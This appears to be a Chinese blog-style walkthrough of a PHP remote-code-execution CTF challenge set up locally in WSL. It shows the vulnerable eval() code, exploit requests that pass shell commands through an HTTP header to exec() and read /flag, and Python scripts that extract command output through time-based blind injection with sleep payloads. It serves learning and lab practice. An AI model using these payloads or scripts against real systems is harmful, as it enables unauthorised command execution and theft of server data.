当前位置： 首页 > news >正文

RCE的CTF题目环境和做题复现第3集

news 2025/8/23 7:17:43

1 通过wsl的ubuntu环境部署

2 题目

2.1 http://127.0.0.1/rce2/rce2.php

<?php
if(isset($_GET['code'])){if(';' === preg_replace('/[^W]+{((?R)?\})/', '', $_GET['code'])){if (!preg_match('/system|getcwd|get|session|end|next|current/i', $_GET['code'])){eval($_GET['code']);}else{die("Hacker!");}}else{die('nonono');}
}else{highlight_file(__FILE__);
}

3 EXP

3.1.1 var_dump(array_rand(apache_request_headers()));

在这里插入图片描述

3.1.2 var_dump(array_rand(array_flip(apache_request_headers())));

在这里插入图片描述

3.1.3 GET /rce2/rce2.php?code=var_dump(array_rand(array_flip(apache_request_headers()))); HTTP/1.1

Host: localhost
CMD: ls
在这里插入图片描述

3.1.4 GET /rce2/rce2.php?code=var_dump(exec(array_rand(array_flip(apache_request_headers())))); HTTP/1.1

Host: localhost
CMD: ls /
在这里插入图片描述

3.1.5 GET /rce2/rce2.php?code=var_dump(exec(array_rand(array_flip(apache_request_headers())))); HTTP/1.1

Host: localhost
CMD: cat /flag
在这里插入图片描述

切换php7.1

(base) gpu3090@DESKTOP-8IU6393:/$ sudo apt-get install php7.1
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:libapache2-mod-php7.1 libpcre3 php7.1-cli php7.1-common php7.1-json php7.1-opcache php7.1-readline
Suggested packages:php-pear
The following NEW packages will be installed:libapache2-mod-php7.1 libpcre3 php7.1 php7.1-cli php7.1-common php7.1-json php7.1-opcache php7.1-readline
0 upgraded, 8 newly installed, 0 to remove and 2 not upgraded.
Need to get 3997 kB of archives.
After this operation, 15.0 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Get:1 http://archive.ubuntu.com/ubuntu noble/universe amd64 libpcre3 amd64 2:8.39-15build1 [248 kB]
Get:2 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-common amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [579 kB]
Get:3 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-json amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [19.4 kB]
Get:4 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-opcache amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [164 kB]
Get:5 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-readline amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [13.4 kB]
Get:6 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-cli amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [1489 kB]
Get:7 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 libapache2-mod-php7.1 amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [1418 kB]
Get:8 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1 all 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [66.0 kB]
Fetched 3997 kB in 55s (73.2 kB/s)
Selecting previously unselected package libpcre3:amd64.
(Reading database ... 43387 files and directories currently installed.)
Preparing to unpack .../0-libpcre3_2%3a8.39-15build1_amd64.deb ...
Unpacking libpcre3:amd64 (2:8.39-15build1) ...
Selecting previously unselected package php7.1-common.
Preparing to unpack .../1-php7.1-common_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-common (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-json.
Preparing to unpack .../2-php7.1-json_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-json (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-opcache.
Preparing to unpack .../3-php7.1-opcache_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-opcache (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-readline.
Preparing to unpack .../4-php7.1-readline_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-readline (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-cli.
Preparing to unpack .../5-php7.1-cli_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-cli (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package libapache2-mod-php7.1.
Preparing to unpack .../6-libapache2-mod-php7.1_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking libapache2-mod-php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1.
Preparing to unpack .../7-php7.1_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_all.deb ...
Unpacking php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Setting up libpcre3:amd64 (2:8.39-15build1) ...
Setting up php7.1-common (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/calendar.ini with new versionCreating config file /etc/php/7.1/mods-available/ctype.ini with new versionCreating config file /etc/php/7.1/mods-available/exif.ini with new versionCreating config file /etc/php/7.1/mods-available/fileinfo.ini with new versionCreating config file /etc/php/7.1/mods-available/ftp.ini with new versionCreating config file /etc/php/7.1/mods-available/gettext.ini with new versionCreating config file /etc/php/7.1/mods-available/iconv.ini with new versionCreating config file /etc/php/7.1/mods-available/pdo.ini with new versionCreating config file /etc/php/7.1/mods-available/phar.ini with new versionCreating config file /etc/php/7.1/mods-available/posix.ini with new versionCreating config file /etc/php/7.1/mods-available/shmop.ini with new versionCreating config file /etc/php/7.1/mods-available/sockets.ini with new versionCreating config file /etc/php/7.1/mods-available/sysvmsg.ini with new versionCreating config file /etc/php/7.1/mods-available/sysvsem.ini with new versionCreating config file /etc/php/7.1/mods-available/sysvshm.ini with new versionCreating config file /etc/php/7.1/mods-available/tokenizer.ini with new version
Setting up php7.1-opcache (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/opcache.ini with new version
Setting up php7.1-readline (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/readline.ini with new version
Setting up php7.1-json (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/json.ini with new version
Setting up php7.1-cli (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/cli/php.ini with new version
Setting up libapache2-mod-php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/apache2/php.ini with new version
libapache2-mod-php7.1: php7.3 module already enabled, not enabling PHP 7.1
Setting up php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Processing triggers for libc-bin (2.39-0ubuntu8.5) ...
Processing triggers for man-db (2.12.0-4build2) ...
Processing triggers for php7.1-cli (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Processing triggers for libapache2-mod-php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
(base) gpu3090@DESKTOP-8IU6393:/$ php -v
PHP 7.3.33-24+ubuntu24.04.1+deb.sury.org+1 (cli) (built: Dec 24 2024 07:05:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.33, Copyright (c) 1998-2018 Zend Technologieswith Zend OPcache v7.3.33-24+ubuntu24.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies
(base) gpu3090@DESKTOP-8IU6393:/$ sudo update-alternatives --config php
There are 3 choices for the alternative php (providing /usr/bin/php).Selection    Path             Priority   Status
------------------------------------------------------------0            /usr/bin/php7.4   74        auto mode1            /usr/bin/php7.1   71        manual mode
* 2            /usr/bin/php7.3   73        manual mode3            /usr/bin/php7.4   74        manual modePress <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/bin/php7.1 to provide /usr/bin/php (php) in manual mode
(base) gpu3090@DESKTOP-8IU6393:/$ php -v
PHP 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 (cli) (built: Dec 24 2024 06:50:54) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologieswith Zend OPcache v7.1.33-67+ubuntu24.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies
(base) gpu3090@DESKTOP-8IU6393:/$ sudo systemctl restart apache2
(base) gpu3090@DESKTOP-8IU6393:/$ sudo a2enmod php7.1
Considering dependency mpm_prefork for php7.1:
Considering conflict mpm_event for mpm_prefork:
Considering conflict mpm_worker for mpm_prefork:
Module mpm_prefork already enabled
Considering conflict php5 for php7.1:
Enabling module php7.1.
To activate the new configuration, you need to run:systemctl restart apache2
(base) gpu3090@DESKTOP-8IU6393:/$ systemctl restart apache2
Failed to restart apache2.service: Interactive authentication required.
See system logs and 'systemctl status apache2.service' for details.
(base) gpu3090@DESKTOP-8IU6393:/$ sudo systemctl restart apache2
(base) gpu3090@DESKTOP-8IU6393:/$

import time
import requests
import stringurl = "http://127.0.0.1/bypass1/bypass1.php?a="
dicts = string.printable
command = "cat ./flag"
result = ""for i in range(1,50):for j in dicts:payload = "sleep $({}|cut -c {}|tr {} 3)".format(command, i, j)start = time.time()requests.get(url+payload)end = time.time()if end-start >= 3:result += jprint(result)break

3.2 exp2

import time
import requests
import stringurl = "http://127.0.0.1/bypass1/bypass1.php?a="
dicts = string.printable
command = "whoami"
result = ""for i in range(1,50):for j in dicts:payload = "sleep $({}|cut -c {}|tr {} 3)".format(command, i, j)start = time.time()requests.get(url+payload)end = time.time()if end-start >= 3:result += jprint(result)break

4 解题过程

4.0.1 在wsl的ubuntu上安装php环境

Step 1: Remove Existing PHP Versions
First, let’s clean up any existing PHP 7.x installations:sudo apt-get purge php7.*
sudo apt-get autoclean
sudo apt-get autoremove
Note about these commands:autoclean removes obsolete package files from your cache
autoremove removes dependencies that are no longer needed
Using purge removes both packages and their configuration files
Step 2: Add the PHP Repository
Ondřej Surý maintains up-to-date PHP packages for Ubuntu:sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
Step 3: Install PHP 7.3
Now install PHP 7.3 and common extensions:sudo apt-get install php7.3
Step 4: Configure Apache (if using Apache)
If you’re using Apache as your web server:# Disable old PHP module (if any)
sudo a2dismod php7.0  # or whatever version you had before# Enable PHP 7.3
sudo a2enmod php7.3
sudo systemctl restart apache2

4.0.2 /var/www/html配置普通账户可读可写可执行权限

(base) gpu3090@DESKTOP-8IU6393:~$ chown  gpu3090 /var/www/html
chown: changing ownership of '/var/www/html': Operation not permitted
(base) gpu3090@DESKTOP-8IU6393:~$ sudo chown  gpu3090 /var/www/html
(base) gpu3090@DESKTOP-8IU6393:~$ ls
M5-应用集成  anaconda3  cookies.txt  downloads  snap  summaries  tmpg00x95ve.mp3
(base) gpu3090@DESKTOP-8IU6393:~$

4.0.3 将题目代码和flag存放到/var/www/html/相应的位置

在这里插入图片描述

4.1 在vscode上运行上面的EXP的php脚本

需要安装插件php debug 和php Server

在这里插入图片描述

http://www.dtcms.com/a/344332.html

相关文章：

  • 改善收敛性有什么作用？收敛代表什么
  • chrome driver在Mac上运行时提示安全问题怎么解决
  • 一键部署Jaeger：Docker全攻略
  • Simulink不连续模块库(Hit Crossing/PWM/Rate Limiter/Rate Limiter Dynamic)
  • @SerializedName注解详解
  • 【51单片机数码管字符左移】2022-11-11
  • TapData vs Kafka ETL Pipeline：竞争？共存？——企业实时数据策略的正确打开方式
  • Kafka中zk的作用是什么
  • 【ECharts】2. ECharts 性能优化
  • 【在ubuntu下使用vscode打开c++的make项目及编译调试】
  • [antv-x6] 博客案例
  • 英伟达新架构9B模型引领革命，谷歌/阿里/微美全息AI多维布局锻造底座竞争力
  • ROS2下YOLO+Moveit+PCL机械臂自主避障抓取方案
  • Retrieval-Augmented Generation(RAG)
  • 《CF1245D Shichikuji and Power Grid》
  • 雷达图教程：何时适用，何时无效，以及如何正确使用
  • 小智ai+mcp+n8n的智能组合
  • Matplotlib 可视化大师系列（三）：plt.bar() 与 plt.barh() - 清晰对比的柱状图
  • 计算机组成原理(10) - 浮点数的表示
  • 全栈开发：从LAMP到云原生的技术革命
  • docker + nginx + pm2 部署前端项目和后端（nodejs）项目
  • setup 语法糖核心要点
  • 第二十八天：多项式求值问题
  • 决策树进阶学习笔记
  • 文件包含的学习笔记
  • ExcelUtils实现 设置内容 插入行 复制行列格式
  • Day11 数据统计 图形报表
  • 打造数字化资产管理新范式——资产管理系统实战体验
  • DIC技术极端环境案例分享：35MPa水下高压釜拉伸测试
  • Unity 自用帧同步架构分享